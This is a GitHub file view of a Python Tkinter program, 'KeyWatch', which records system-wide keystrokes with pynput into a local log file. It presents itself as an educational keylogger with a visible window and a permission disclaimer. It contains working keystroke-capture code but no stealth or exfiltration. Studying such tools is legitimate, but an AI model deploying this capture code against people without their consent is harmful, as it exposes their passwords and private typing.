-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgui.py
More file actions
133 lines (114 loc) · 4.71 KB
/
gui.py
File metadata and controls
133 lines (114 loc) · 4.71 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import threading
import tkinter as tk
from tkinter import messagebox, filedialog, scrolledtext
# from keywatch.keylogger import KeyLogger
# Minimal KeyLogger implementation for demonstration
import pynput.keyboard
class KeyLogger:
def __init__(self, logfile):
self.logfile = logfile
self.listener = None
self.running = False
def start(self):
self.running = True
with open(self.logfile, "a") as f:
def on_press(key):
if not self.running:
return False
try:
f.write(str(key.char))
except AttributeError:
f.write(f"<{key}>")
f.flush()
self.listener = pynput.keyboard.Listener(on_press=on_press)
self.listener.start()
self.listener.join()
def stop(self):
self.running = False
if self.listener:
self.listener.stop()
class KeyWatchGUI:
def __init__(self, root):
self.root = root
self.root.title("KeyWatch - Ethical Keylogger")
self.logfile = "keywatch.log"
self.keylogger = None
self.is_logging = False
self.logger_thread = None
# UI setup
frame = tk.Frame(root, padx=10, pady=10)
frame.pack(fill=tk.BOTH, expand=True)
disclaimer = tk.Label(
frame,
text="For educational/authorized use only. Do not use without permission.",
fg="red"
)
disclaimer.pack(pady=5)
log_label = tk.Label(frame, text="Log file:")
log_label.pack(anchor='w')
self.log_entry = tk.Entry(frame, width=40)
self.log_entry.pack(side=tk.LEFT, padx=(0,5), fill=tk.X, expand=True)
self.log_entry.insert(0, self.logfile)
browse_btn = tk.Button(frame, text="Browse", command=self.browse_logfile)
browse_btn.pack(side=tk.LEFT)
btn_frame = tk.Frame(frame)
btn_frame.pack(fill=tk.X, pady=10)
self.start_btn = tk.Button(btn_frame, text="Start Logging", command=self.start_logging, bg="#8bc34a")
self.start_btn.pack(side=tk.LEFT, padx=5)
self.stop_btn = tk.Button(btn_frame, text="Stop Logging", command=self.stop_logging, state=tk.DISABLED, bg="#f44336")
self.stop_btn.pack(side=tk.LEFT, padx=5)
self.view_btn = tk.Button(btn_frame, text="View Log", command=self.view_log)
self.view_btn.pack(side=tk.LEFT, padx=5)
self.clear_btn = tk.Button(btn_frame, text="Clear Log", command=self.clear_log)
self.clear_btn.pack(side=tk.LEFT, padx=5)
self.log_text = scrolledtext.ScrolledText(frame, height=15, state='disabled', font=("Consolas", 10))
self.log_text.pack(fill=tk.BOTH, expand=True, pady=10)
self.root.protocol("WM_DELETE_WINDOW", self.on_exit)
def browse_logfile(self):
path = filedialog.asksaveasfilename(defaultextension=".log", filetypes=[("Log Files", "*.log"), ("All Files", "*.*")])
if path:
self.log_entry.delete(0, tk.END)
self.log_entry.insert(0, path)
self.logfile = path
def start_logging(self):
logfile = self.log_entry.get()
if not logfile.strip():
messagebox.showerror("Error", "Log file path cannot be empty.")
return
self.keylogger = KeyLogger(logfile)
self.logger_thread = threading.Thread(target=self.keylogger.start, daemon=True)
self.logger_thread.start()
self.is_logging = True
self.start_btn.config(state=tk.DISABLED)
self.stop_btn.config(state=tk.NORMAL)
self.logfile = logfile
messagebox.showinfo("KeyWatch", "Logging started. This window must stay open.")
def stop_logging(self):
if self.keylogger:
self.keylogger.stop()
self.is_logging = False
self.start_btn.config(state=tk.NORMAL)
self.stop_btn.config(state=tk.DISABLED)
messagebox.showinfo("KeyWatch", "Logging stopped.")
def view_log(self):
try:
with open(self.logfile, "r") as f:
log_content = f.read()
except Exception as e:
log_content = f"Error reading log: {e}"
self.log_text.config(state='normal')
self.log_text.delete(1.0, tk.END)
self.log_text.insert(tk.END, log_content)
self.log_text.config(state='disabled')
def clear_log(self):
if messagebox.askyesno("Confirm", "Are you sure you want to clear the log?"):
open(self.logfile, "w").close()
self.view_log()
def on_exit(self):
if self.is_logging and self.keylogger:
self.keylogger.stop()
self.root.destroy()
def run_gui():
root = tk.Tk()
app = KeyWatchGUI(root)
root.mainloop()